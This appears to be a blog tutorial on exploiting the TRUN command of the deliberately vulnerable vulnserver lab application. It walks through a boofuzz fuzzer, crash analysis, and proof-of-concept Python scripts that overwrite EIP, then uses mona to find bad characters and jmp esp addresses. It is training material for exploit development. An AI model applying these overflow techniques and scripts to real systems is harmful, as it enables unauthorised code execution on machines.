Tags: osce, vulnserver, windbg, boofuzz
In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).
DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!
Other posts in the series:
For the next few posts, we’ll be exploiting different pieces of vulnserver. Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. It comes with a multitude of commands, each containing unique vulnerabilities that require different exploit techniques to successfully exploit them. There’s not really an install process for vulnserver, just grab it out of the repo and you’re good to go (you can build it yourself if you want).
This post will document exploitation of a simple EIP overwrite in the TRUN command. It will also serve as the basis for solidifying a repeatable exploitation process.
In order to fuzz the application, we need to know how to interact with the application.
First, we’ll start vulnserver. Vulnserver listens on port 9999.
Next, we’ll connect to port 9999 on localhost using netcat.
nc -vn 127.0.0.1 9999
═════════════════════
(UNKNOWN) [127.0.0.1] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
We see it offers a HELP menu. Let’s check it out.
HELP
════
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
It looks like a valid TRUN command is simply TRUN SOMEVALUE
. We can confirm that this is the case.
TRUN testtest
═════════════
TRUN COMPLETE
The only feedback we get is TRUN COMPLETE
. Though, that’s enough for us to get started on automating our fuzzer!
In order to start fuzzing the command in earnest, we’ll need a boofuzz script. We’ll be utilizing the process_monitor.py
utility we got setup in Part I.
Documentation and examples of process_monitor, custom logging, and extracting results are pretty sparse. If you know of a better way to do this, please let me know!
To begin, we’ll get some boilerplate out of the way; starting with defining vulnserver’s information and where we want to store our CSV log.
1from pathlib import Path
2
3from boofuzz import *
4
5tgt_ip = "127.0.0.1"
6tgt_port = 9999 # vulnserver
7
8# put the csv beside this script, regardless of where its ran from
9fuzz_dir = Path(__file__).parent.resolve()
10csv_file = Path(fuzz_dir) / "fuzz_logs.csv"
Next, we’ll get our loggers setup. We still want to log to the console, but we also want to add our results to a CSV for a little easier consumption if necessary.
12# one logger to console, the other to a CSV
13loggers = [FuzzLoggerText(), FuzzLoggerCsv(file_handle=csv_file.open('w'))]
With that complete, we need to configure some information in order for process_monitor.py
to be able to do its thing.
15# client for process_monitor.py
16client = pedrpc.Client(tgt_ip, 26002)
17
18# used by process_monitor.py to know how to restart vulnserver
19# list of list structure suggested here: https://github.com/jtpereyda/boofuzz/issues/261#issuecomment-475082950
20start_vulnserver = [["C:\\users\\vagrant\\desktop\\vulnserver\\vulnserver.exe"]]
21kill_vulnserver = [['powershell -c "stop-process -name vulnserver -force"']]
22
23connection = SocketConnection(tgt_ip, tgt_port, proto="tcp")
Now, comes the definition of our Target. Earlier, we defined how to kill vulnserver. However, there’s a bug in boofuzz\boofuzz\utils\process_monitor_pedrpc_server.py
that needs addressed before that option will work without throwing an exception. The diff is shown below, but amounts to adding a for loop.
1@@ -202,12 +202,13 @@ class ProcessMonitorPedrpcServer(pedrpc.Server):
2 if len(self.stop_commands) < 1:
3 self.debugger_thread.stop_target()
4 else:
5- for command in self.stop_commands:
6- if command == "TERMINATE_PID":
7- self.debugger_thread.stop_target()
8- else:
9- self.log("Executing stop command: '{0}'".format(command), 2)
10- os.system(command)
11+ for command_list in self.stop_commands:
12+ for command in command_list:
13+ if command == "TERMINATE_PID":
14+ self.debugger_thread.stop_target()
15+ else:
16+ self.log("Executing stop command: '{0}'".format(command), 2)
17+ os.system(command)
With that change made, we can define the Target and the Session that uses it.
25options = {"start_commands": start_vulnserver, "stop_commands": kill_vulnserver, "proc_name": "vulnserver.exe"}
26target = Target(connection=connection, procmon=client, procmon_options=options)
27
28session = Session(target=target, fuzz_loggers=loggers)
29
30s_initialize("vulnserver-fuzzcase") # arbitrary name for overall fuzz case
Finally, we reach the actual fuzz directives. These tell boofuzz what it should send to the server after connecting. Both TRUN
and the following space are defined as unfuzzable, as they’re part of the command’s syntax. The string "something"
is simply a placeholder where fuzzing data will be inserted during execution.
32# fuzzing directives go here
33s_string("TRUN", fuzzable=False)
34s_delim(" ", fuzzable=False)
35s_string("something")
After that, we have the final bit of boilerplate. These lines get everything else setup and kick off the fuzzing session.
37req = s_get("vulnserver-fuzzcase")
38
39session.connect(req)
40
41print(f"fuzzing with {req.num_mutations()} mutations")
42
43session.fuzz() # do the thing!
The code above is unlikely to change except for the fuzzing directives. As such it’s included as a template in my OSCE-exam-practice repo.
Running the fuzzer is relatively simple, given our fuzz script and that we installed all of the requirements earlier. We’ll need two separate terminals to get things going.
Terminal 1:
C:\Python27\python.exe .\process_monitor.py
═══════════════════════════════════════════
[06:23.08] Process Monitor PED-RPC server initialized:
[06:23.08] listening on: 0.0.0.0:26002
[06:23.08] crash file: C:\Users\vagrant\Downloads\boofuzz-master\boofuzz-crash-bin
[06:23.08] # records: 0
[06:23.08] proc name: None
[06:23.08] log level: 1
[06:23.08] awaiting requests...
Terminal 2:
C:\Python37\python.exe .\fuzzer.py
══════════════════════════════════
[2020-05-16 18:24:27,163] Info: Web interface can be found at http://localhost:26000
fuzzing with 1441 mutations
[2020-05-16 18:26:36,944] Test Case: 1: vulnserver-fuzzcase.no-name.1
[2020-05-16 18:26:36,944] Info: Type: String. Default value: b'something'. Case 1 of 1441 overall.
[2020-05-16 18:26:36,944] Test Step: Calling procmon pre_send()
[2020-05-16 18:26:36,961] Info: Opening target connection (127.0.0.1:9999)...
[2020-05-16 18:26:36,961] Info: Connection opened.
[2020-05-16 18:26:36,961] Test Step: Fuzzing Node 'vulnserver-fuzzcase'
[2020-05-16 18:26:36,961] Info: Sending 5 bytes...
[2020-05-16 18:26:36,961] Transmitted 5 bytes: 54 52 55 4e 20 b'TRUN '
[2020-05-16 18:26:36,961] Test Step: Contact process monitor
[2020-05-16 18:26:36,961] Check: procmon.post_send()
[2020-05-16 18:26:36,978] Check OK: No crash detected.
[2020-05-16 18:26:36,978] Test Step: Contact process monitor
[2020-05-16 18:26:36,978] Check: procmon.post_send()
[2020-05-16 18:26:36,995] Check OK: No crash detected.
[2020-05-16 18:26:36,995] Info: Closing target connection...
[2020-05-16 18:26:36,995] Info: Connection closed.
-------------8<-------------
If everything works as it should, we now have a fully automated fuzzer. All that’s left to do is sit back and await the results.
After the fuzzer runs to completion we need to check for any crashes.
We can start by looking at the boofuzz-crash-bin...
file. By default, it will get created wherever we ran process_monitor.py
from. This file contains JSON that describes any crashes that occurred during fuzzing.
1{
2 "1094795585":[
3 {
4 "exception_module":"[INVALID]",
5 "stack_unwind":[
6
7 ],
8 "exception_address":1094795585,
9 "context_dump":"CONTEXT DUMP\n EIP: 41414141 Unable to disassemble at 41414141\n EAX: 019cf200 ( 27062784) -> TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n EBX: 00000064 ( 100) -> N/A\n ECX: 004c77f8 ( 5011448) -> L8,L (heap)\n EDX: 0000705c ( 28764) -> N/A\n EDI: 00000000 ( 0) -> N/A\n ESI: 00000000 ( 0) -> N/A\n EBP: 41414141 (1094795585) -> N/A\n ESP: 019cf9e0 ( 27064800) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n +00: 41414141 (1094795585) -> N/A\n +04: 41414141 (1094795585) -> N/A\n +08: 41414141 (1094795585) -> N/A\n +0c: 41414141 (1094795585) -> N/A\n +10: 41414141 (1094795585) -> N/A\n +14: 41414141 (1094795585) -> N/A\n",
10 "extra":2,
11 "write_violation":0,
12 "disasm":"Unable to disassemble at 41414141",
13 "disasm_around":[
14 [
15 1094795585,
16 "Unable to disassemble"
17 ]
18 ],
19 "context":{
20
21 },
22 "violation_thread_id":6288,
23 "violation_address":1094795585,
24 "seh_unwind":[
25 [
26 4294967295,
27 2007359837,
28 "ntdll.dll:77a5e15d"
29 ]
30 ]
31 }
32 ],
33 "774778414":[
34 {
35 "exception_module":"[INVALID]",
36 "stack_unwind":[
37
38 ],
39 "extra":697,
40 "context_dump":"CONTEXT DUMP\n EIP: 2e2e2e2e Unable to disassemble at 2e2e2e2e\n EAX: 01b2f200 ( 28504576) -> TRUN ........................................................................................................................................................................................................................................................... (stack)\n EBX: 00000064 ( 100) -> N/A\n ECX: 01e2c63c ( 31639100) -> (heap)\n EDX: 002e2e2e ( 3026478) -> N/A\n EDI: 00000000 ( 0) -> N/A\n ESI: 00000000 ( 0) -> N/A\n EBP: 2e2e2e2e ( 774778414) -> N/A\n ESP: 01b2f9e0 ( 28506592) -> ................................... (stack)\n +00: 2e2e2e2e ( 774778414) -> N/A\n +04: 2e2e2e2e ( 774778414) -> N/A\n +08: 2e2e2e2e ( 774778414) -> N/A\n +0c: 2e2e2e2e ( 774778414) -> N/A\n +10: 2e2e2e2e ( 774778414) -> N/A\n +14: 2e2e2e2e ( 774778414) -> N/A\n",
41 "exception_address":774778414,
42 "write_violation":0,
43 "disasm":"Unable to disassemble at 2e2e2e2e",
44 "violation_address":774778414,
45 "context":{
46
47 },
48 "violation_thread_id":6620,
49 "disasm_around":[
50 [
51 774778414,
52 "Unable to disassemble"
53 ]
54 ],
55 "seh_unwind":[
56 [
57 4294967295,
58 2007359837,
59 "ntdll.dll:77a5e15d"
60 ]
61 ]
62 }
63 ]
64}
For this post, we’re only concerned with the context_dump
entries.
CONTEXT DUMP
EIP: 41414141 Unable to disassemble at 41414141
EAX: 019cf200 ( 27062784) -> TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
EBX: 00000064 ( 100) -> N/A
ECX: 004c77f8 ( 5011448) -> L8,L (heap)
EDX: 0000705c ( 28764) -> N/A
EDI: 00000000 ( 0) -> N/A
ESI: 00000000 ( 0) -> N/A
EBP: 41414141 (1094795585) -> N/A
ESP: 019cf9e0 ( 27064800) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+00: 41414141 (1094795585) -> N/A
+04: 41414141 (1094795585) -> N/A
+08: 41414141 (1094795585) -> N/A
+0c: 41414141 (1094795585) -> N/A
+10: 41414141 (1094795585) -> N/A
+14: 41414141 (1094795585) -> N/A
CONTEXT DUMP
EIP: 2e2e2e2e Unable to disassemble at 2e2e2e2e
EAX: 01b2f200 ( 28504576) -> TRUN ........................................................................................................................................................................................................................................................... (stack)
EBX: 00000064 ( 100) -> N/A
ECX: 01e2c63c ( 31639100) -> (heap)
EDX: 002e2e2e ( 3026478) -> N/A
EDI: 00000000 ( 0) -> N/A
ESI: 00000000 ( 0) -> N/A
EBP: 2e2e2e2e ( 774778414) -> N/A
ESP: 01b2f9e0 ( 28506592) -> ................................... (stack)
+00: 2e2e2e2e ( 774778414) -> N/A
+04: 2e2e2e2e ( 774778414) -> N/A
+08: 2e2e2e2e ( 774778414) -> N/A
+0c: 2e2e2e2e ( 774778414) -> N/A
+10: 2e2e2e2e ( 774778414) -> N/A
+14: 2e2e2e2e ( 774778414) -> N/A
The output for both of the crashes show two notable pieces of information.
At this point, we know that we caused two crashes. Unfortunately, we don’t know the exact data sent to cause those crashes. Let’s fire up our sqlite browser and check the results database. The file should be in the boofuzz-results
directory which should be sitting right beside our fuzzing script.
We’ll begin by opening the database
Once the db is open, we’ll click the Browse Data tab and then select steps from the Table dropdown.
At this point we need to check our crash-bin file to see which test caused the crash.
1{
2 "1094795585":[
3 {
4 "exception_module":"[INVALID]",
5 "stack_unwind":[
6
7 ],
8 "exception_address":1094795585,
9 "context_dump":"CONTEXT DUMP\n EIP: 41414141 Unable to disassemble at 41414141\n EAX: 019cf200 ( 27062784) -> TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n EBX: 00000064 ( 100) -> N/A\n ECX: 004c77f8 ( 5011448) -> L8,L (heap)\n EDX: 0000705c ( 28764) -> N/A\n EDI: 00000000 ( 0) -> N/A\n ESI: 00000000 ( 0) -> N/A\n EBP: 41414141 (1094795585) -> N/A\n ESP: 019cf9e0 ( 27064800) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)\n +00: 41414141 (1094795585) -> N/A\n +04: 41414141 (1094795585) -> N/A\n +08: 41414141 (1094795585) -> N/A\n +0c: 41414141 (1094795585) -> N/A\n +10: 41414141 (1094795585) -> N/A\n +14: 41414141 (1094795585) -> N/A\n",
10 "extra":2,
11 "write_violation":0,
12 "disasm":"Unable to disassemble at 41414141",
The extra
variable stores the number of the test case that caused the crash. We can use that to filter down to the exact test using the test_case_index
column.
There we have it, the test sent 5011’ish A’s (ish because of the prepended /.:/
).
With that information, we can begin work on our PoC.
To build out our initial crash PoC, we’ll need to start up vulnserver and attach to the process using windbg. There are two ways to do this without the mouse. The alt-key combination may be preferred by some (me included).
F6
- Attach to a ProcessAlt+f -> t
- Attach to a ProcessNewly created processes are at the bottom of the Attach to Process window created by windbg. It’s quickest to hit F6
and then End
. This will take you down to the bottom of the list where vulnserver should be waiting.
Once attached, we need to let the process continue running.
F5
- Go (let process run)Alt+d -> g
- Go (let process run)The crash is fairly simple to reproduce. The code for it is below.
I prefer to include a simple print statement of how many bytes are sent as a sanity check. When we start messing with adding in different chunks of code, it’s easy to unintentionally alter the length of the payload.
1import struct
2import socket
3
4target = ("127.0.0.1", 9999) # vulnserver
5
6payload = b"TRUN /.:/ "
7payload += b"A" * 5011
8
9with socket.create_connection(target) as sock:
10 sock.recv(512) # Welcome to Vulnerable Server! ...
11
12 sent = sock.send(payload)
13 print(f"sent {sent} bytes")
After we send our PoC, we can confirm that EIP is occupied by 4 A’s and ESP points to a location in our user-controlled buffer.
Next up, we need to expand upon our PoC and find out exactly how many bytes it takes to reach EIP.
We’ll begin by restarting our instance of vulnserver from within windbg.
Ctrl+Shift+F5
- RestartAlt+d -> r
- RestartAfter that, we need to generate a cyclic pattern using mona. To create the pattern, we’ll use mona’s pattern_create
command. pattern_create
creates a cyclic pattern of a given size. The result will be written to pattern.txt (within the currently configured log directory) in ascii, hex and unescape() javascript formats.
pattern_create
can be shortened to pc
, as shown below.
!py mona pc 5011
════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py pc 5011
Creating cyclic pattern of 5011 bytes Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...
[+] Preparing output file 'pattern.txt'
- Creating working folder c:\monalogs\vulnserver_6984
- Folder created
- (Re)setting logfile c:\monalogs\vulnserver_6984\pattern.txt
Warning : odd size given, js pattern will be truncated to 5010 bytes, it's better use an even size
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\monalogs\vulnserver_6984\pattern.txt and copy the pattern from the file
Now we need to allow vulnserver to continue running (Alt+d -> g
) and update our PoC to make use of our pattern instead of the 5011 A’s.
5-------------8<-------------
6payload = b"TRUN /.:/ "
7payload += b"Aa0Aa1Aa2Aa3Aa4Aa..."
8-------------8<-------------
Since windbg is still attached and vulnserver is running, we’re free to throw our modified PoC.
We are rewarded with another crash! Let’s analyze the new crash using more mona magic.
mona’s findmsp
command finds the beginning of a cyclic pattern in memory. It looks if any of the registers contain a cyclic pattern or point into a cyclic pattern. findmsp
will also look if a SEH record is overwritten. Finally, it will look for cyclic patterns on the stack, and pointers to the pattern on the stack.
Running findmsp
after throwing our PoC with the pattern in it displays the output below.
!py mona findmsp
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
Cyclic pattern (normal) found at 0x00383cea (length 4086 bytes)
Cyclic pattern (normal) found at 0x0038511a (length 2990 bytes)
Cyclic pattern (normal) found at 0x0189f20a (length 2990 bytes)
[+] Examining registers
EIP contains normal pattern : 0x6f43376f (offset 2002)
ESP (0x0189f9e0) points at offset 2006 in normal pattern (length 984)
EBP contains normal pattern : 0x43366f43 (offset 1998)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
Walking stack from 0x0189f000 to 0x0189fffc (0x00000ffc bytes)
0x0189f20c : Contains normal cyclic pattern at ESP-0x7d4 (-2004) : offset 2, length 2988 (-> 0x0189fdb7 : ESP+0x3d8)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
Walking stack from 0x0189f000 to 0x0189fffc (0x00000ffc bytes)
0x0189f164 : Pointer into normal cyclic pattern at ESP-0x87c (-2172) : 0x0189fc60 : offset 2646, length 344
0x0189f168 : Pointer into normal cyclic pattern at ESP-0x878 (-2168) : 0x0189f7a0 : offset 1430, length 1560
[+] Preparing output file 'findmsp.txt'
- (Re)setting logfile c:\monalogs\vulnserver_6984\findmsp.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
We can see that EIP is 2002 bytes from the beginning of our buffer. Additionally, ESP is 2006 bytes from the beginning of our buffer. We can also see that there are 984 bytes of pattern from where ESP points, which is plenty of room for our final shellcode.
We’ll use the output above to modify our PoC. We’ll use A’s as the initial filler, B’s will overwrite EIP, and ESP should point to four C’s. After that we’ll use D’s to signify the remainder of our buffer.
1import struct
2import socket
3
4VULNSRVR_CMD = b"TRUN /.:/ "
5CRASH_LEN = 5011
6
7target = ("127.0.0.1", 9999) # vulnserver
8
9payload = VULNSRVR_CMD
10payload += b"A" * 2002
11payload += b"B" * 4 # EIP
12payload += b"C" * 4 # ESP
13payload += b"D" * (CRASH_LEN - len(payload))
14
15with socket.create_connection(target) as sock:
16 sock.recv(512) # Welcome to Vulnerable Server! ...
17
18 sent = sock.send(payload)
19 print(f"sent {sent} bytes")
Throwing the PoC above yields the expected results.
With that, we’re ready to proceed!
Next up, we have the crucial but oft overlooked step of finding out which characters will break our exploit.
Once again, we’ll utilize mona. This time around, we’ll use the bytearray
command. Unsurprisingly, the bytearray
command creates a byte array, which can be used to find bad characters. Its output will be written to bytearray.txt, and binary output will be written to bytearray.bin.
Because \x00
is commonly a bad character, we’ll exclude it from the outset by using the -cpb
option.
bytearray
can be shortened toba
!py mona ba -cpb '\x00'
═══════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py ba -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile c:\monalogs\vulnserver_2752\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 255 bytes to file c:\monalogs\vulnserver_2752\bytearray.txt
Binary output saved in c:\monalogs\vulnserver_2752\bytearray.bin
Now, we need to update our PoC to send the byte array.
7-------------8<-------------
8target = ("127.0.0.1", 9999) # vulnserver
9
10bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
11bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
12bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
13bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
14bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
15bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
16bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
17bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
18
19payload = VULNSRVR_CMD
20payload += b"A" * OFFSET
21payload += b"B" * 4 # EIP
22payload += bad_chars
23payload += b"C" * (CRASH_LEN - len(payload))
24-------------8<-------------
I know we could wrap the byte array in parens… I just find this way more visually appealing
After throwing the PoC with the byte array, we’ll use mona’s compare
command. The compare
command allows us to compare a file created by mona’s bytearray/msfvenom/gdb/hex/xxd/hexdump/ollydbg with a copy in memory. It will report back either the differences between the two, or that they both match (which is what we hope for, as it means we’ve found all the bad characters). Hopping over to windbg, we can execute the following command.
!py mona compare -f c:\monalogs\vulnserver_2752\bytearray.bin -a esp
════════════════════════════════════════════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py compare -f c:\monalogs\vulnserver_2752\bytearray.bin -a esp
[+] Reading file c:\monalogs\vulnserver_2752\bytearray.bin...
Read 255 bytes from file
[+] Preparing output file 'compare.txt'
- Creating working folder c:\monalogs\vulnserver_6584
- Folder created
- (Re)setting logfile c:\monalogs\vulnserver_6584\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] c:\monalogs\vulnserver_2752\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 255 bytes successfully from c:\monalogs\vulnserver_2752\bytearray.bin
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x0190f9e0 | [+] Comparing with memory at location : 0x0190f9e0 (Stack)
0x0190f9e0 | !!! Hooray, normal shellcode unmodified !!!
0x0190f9e0 | Bytes omitted from input: 00
Now we know that as long as we omit null-bytes, our shellcode won’t get mangled.
We know that ESP points to a location in our shellcode. So, we need to find an instruction that will redirect execution to the location of ESP. mona can assist us with that task via its jmp
command. jmp
will search for pointers that lead to execution of the code located at the address pointed to by a given register.
By default it searchs in non-aslr/non-rebase modules. Additionally, it checks more than just jmp reg
. Below are all the instructions it checks for in order to redirect execution.
jmp reg
call reg
push reg + ret (+ offsets)
push reg + pop r32 + jmp r32
push reg + pop r32 + call r32
push reg + pop r32 + push r32 + ret (+ offset)
xchg reg,r32 + jmp r32
xchg reg,r32 + call r32
xchg reg,r32 + push r32 + ret (+ offset)
xchg r32,reg + jmp r32
xchg r32,reg + call r32
xchg r32,reg + push r32 + ret (+ offset)
mov r32,reg + jmp r32
mov r32,reg + call r32
mov r32,reg + push r32 + ret (+offset)
We’ll ensure that none of the addresses returned to us have a null-byte in them with the -cpb
option.
!py mona jmp -r esp -cpb '\x00'
═══════════════════════════════
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00'
---------- Mona command started on 2020-05-17 14:27:34 (v2.0, rev 605) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Bad char filter will be applied to pointers : '\x00'
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 2 modules
- Querying module essfunc.dll
- Querying module vulnserver.exe
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile c:\monalogs\vulnserver_6584\jmp.txt
[+] Writing results to c:\monalogs\vulnserver_6584\jmp.txt
- Number of pointers of type 'jmp esp' : 9
[+] Results :
0x625011af | 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011bb | 0x625011bb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011c7 | 0x625011c7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011d3 | 0x625011d3 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011df | 0x625011df : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011eb | 0x625011eb : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
